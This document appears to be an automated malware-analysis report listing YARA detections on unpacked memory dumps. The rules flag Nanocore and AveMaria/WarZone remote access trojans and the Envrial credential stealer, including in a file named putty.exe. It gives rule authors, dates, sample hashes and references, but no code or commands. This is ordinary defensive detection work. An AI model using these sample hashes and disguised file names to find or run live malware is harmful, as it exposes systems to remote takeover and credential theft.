Source: 34.2.iBCrDCK.i.exe.cd0000.16.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.cd0000.16.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.37d3147.33.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.37d3147.33.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.images.exe.3b52b48.8.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.800000.8.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.800000.8.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.cd0000.16.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.cd0000.16.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.2537cec.24.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.2537cec.24.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.37dbf76.31.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.37dbf76.31.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.5d0000.6.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.5d0000.6.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.37d3147.33.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.37d3147.33.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.37d3147.33.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.254c328.23.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.254c328.23.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.ac0000.9.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.ac0000.9.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.37ea3a6.32.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.37ea3a6.32.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.cb0000.15.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.cb0000.15.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.c00000.12.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.c00000.12.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.2537cec.24.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.2537cec.24.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.c50000.13.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.c50000.13.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.be0000.10.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.be0000.10.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.5d0000.6.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.5d0000.6.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.252baa4.22.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.252baa4.22.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.c60000.14.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.c60000.14.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 10.2.putty.exe.3842b48.8.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.252baa4.22.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.252baa4.22.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.3f0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.3f0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.37dbf76.31.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.37dbf76.31.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.5e0000.7.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.5e0000.7.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.bf0000.11.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.bf0000.11.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.putty.exe.3802b48.7.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.c50000.13.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.c50000.13.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
